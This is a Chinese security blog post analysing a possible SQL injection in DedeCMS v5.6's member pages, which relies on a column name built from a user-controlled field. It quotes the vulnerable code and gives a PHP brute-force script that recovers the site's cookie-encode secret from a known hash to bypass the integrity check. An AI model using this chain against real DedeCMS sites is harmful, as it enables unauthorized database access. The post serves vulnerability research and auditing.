Dedecms v5.6的鸡肋注入的可行性分析

发布日期:2010-06.10发布作者:oldjun影响版本:Dedecms v5.6 官方地址:www.dedecms.com漏洞描述:织梦CMS(DEDECMS)在国内使用很广,代码一直被脚本黑客们所关注,随着版本的日益更新,其他漏洞不说,注入漏洞的确越来越少了,5.5、5.6版本鲜有注入漏洞出来,据观察,应该有两个原因,一是本身代码的书写严格了或者审计到位了,二就是80sec的内置Mysqlids起到作用了。还是在5.3版本的时候看过dede代码,前段时间抽空“喵”了眼最新5.6final版本的代码,于是弄个唬人的标题,谈谈注入的可行性(也许有其他漏洞,不属于讨论范畴)。

fromwww.oldjun.com

一、可能产生注入的一个点,以及可能的利用方法:

由于只是粗略看了下plus与member的代码,也许有直接的注入没被看出来:)

这个可能的点遍布member目录下,以edit_fullinfo.php为例,看代码:

...if($dopost=='save'){$membermodel=newmembermodel($cfg_ml->M_MbType);$postform=$membermodel->getForm(true);//这里完成详细内容填写$dede_fields=empty($dede_fields)?'':trim($dede_fields);$dede_fieldshash=empty($dede_fieldshash)?'':trim($dede_fieldshash);$modid=empty($modid)?0:intval(preg_replace("/[^\d]/",'',$modid));if(!empty($dede_fields)){if($dede_fieldshash!=md5($dede_fields.$cfg_cookie_encode)){showMsg('数据校验不对,程序返回','-1');exit();}}//虽然$dede_fields可以自己构造提交,但是代码对提交的$dede_fields进行了校验,fromwww.oldjun.com$modelform=$dsql->GetOne("SELECT*FROMdede_member_modelWHEREid='$modid'");if(!is_array($modelform)){showmsg('模型表单不存在','-1');exit();}$inadd_f='';//$dede_fields可以构造的话,则可以触发注入,fromwww.oldjun.comif(!empty($dede_fields)){$fieldarr=explode(';',$dede_fields);if(is_array($fieldarr)){foreach($fieldarras$field){if($field=='')continue;$fieldinfo=explode(',',$field);if($fieldinfo[1]=='textdata'){${$fieldinfo[0]}=FilterSearch(stripslashes(${$fieldinfo[0]}));${$fieldinfo[0]}=addslashes(${$fieldinfo[0]});}else{if(empty(${$fieldinfo[0]}))${$fieldinfo[0]}='';${$fieldinfo[0]}=GetFieldValue(${$fieldinfo[0]},$fieldinfo[1],0,'add','','diy',$fieldinfo[0]);}if($fieldinfo[0]=="birthday")${$fieldinfo[0]}=GetDateMk(${$fieldinfo[0]});$inadd_f.=','.$fieldinfo[0]."='".${$fieldinfo[0]}."'";//值不能构造,但列可以构造,fromwww.oldjun.com}}}$inadd_f=preg_replace('/,/','',$inadd_f,1);$query="UPDATE`{$membermodel->table}`set{$inadd_f}WHEREmid='{$cfg_ml->M_ID}'";//$inadd_f可以通过$dede_fields构造来触发注入,if(!$dsql->ExecuteNoneQuery($query)){ShowMsg("更新附加表`{$membermodel->table}`时出错,请联系管理员!","javascript:;");exit();}else{ShowMsg('成功更新你的详细资料!','edit_fullinfo.php',0,5000);exit();}}

从代码里的分析可以看出,$dede_fields用来生成$inadd_f,而$inadd_f直接带入SQL语句了。因此如果能绕过校验,构造$dede_fields则可以触发注入。校验语句:$dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)想让$dede_fieldshash等于md5($dede_fields.$cfg_cookie_encode),我们可以掌握两个变量,即如果知道$cfg_cookie_encode的值,就可以通过校验。再看看$cfg_cookie_encode是什么?config.cache.inc.php里的全局变量,安装的时候生成的,看看生成代码:

$rnd_cookieEncode=chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));

本来我觉得没戏的,但是发现才10位,而且不是26个字母就是10个数字。

在任意一个页面,比如article_edit.php里,aid,idhash也已经告诉我们了,看看archives_check_edit.php里的校验代码:

$ckhash=md5($aid.$cfg_cookie_encode);if($ckhash!=$idhash){ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');exit();}

很有才,我觉得在现在的计算机的计算能力下,跑出这个$cfg_cookie_encode应该没多大问题,我们的可能性是26的6次方乘以10的4次方=3089157760000。

写个php模拟下:

<?php//$rnd_cookieEncode=chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));//BpFFb8896E$thismd5='10e6939c165283cc53c527be6bae6995';$upper='ABCDEFGHIJKLMNOPQRSTUVWXYZ';$lower='abcdefghijklmnopqrstuvwxyz';$number='1234567890';//$j=0;//echotime();for($i1=0;$i1<26;$i1++){$tmp1=$upper[$i1];for($i2=0;$i2<26;$i2++){$tmp2=$lower[$i2];for($i3=0;$i3<26;$i3++){$tmp3=$upper[$i3];for($i4=0;$i4<26;$i4++){$tmp4=$upper[$i4];for($i5=0;$i5<26;$i5++){$tmp5=$lower[$i5];for($i6=0;$i6<10;$i6++){$tmp6=$number[$i6];for($i7=0;$i7<10;$i7++){$tmp7=$number[$i7];for($i8=0;$i8<10;$i8++){$tmp8=$number[$i8];for($i9=0;$i9<10;$i9++){$tmp9=$number[$i9];for($i10=0;$i10<26;$i10++){$tmp10=$upper[$i10];$tmp="1".$tmp1.$tmp2.$tmp3.$tmp4.$tmp5.$tmp6.$tmp7.$tmp8.$tmp9.$tmp10;//echo$tmp."\r\n";$j++;if(md5($tmp)==$thismd5){die($tmp);}/*else{if($j==10000000){echotime();exit();}}*/}}}}}}}}}}?>

php下速度太慢了,c下可以试试。如果有需要,用gpu破,再用很多电脑分段破,破出来这个$cfg_cookie_encode应该没问题,破出来之后,member下好多页面都可以注入的。如果说$cfg_cookie_encode的破解不鸡肋,80sec的内置Mysqlids却导致了即使有注入肯定也用不起来的局面,于是我们来看看有没绕过。

标签分类: SQL注入 注入漏洞 脚本漏洞 网站0day

不论你在什么时候开始,重要的是开始之后就不要停止

Dedecms v5.6的鸡肋注入的可行性分析

相关文章:

你感兴趣的文章:

标签云: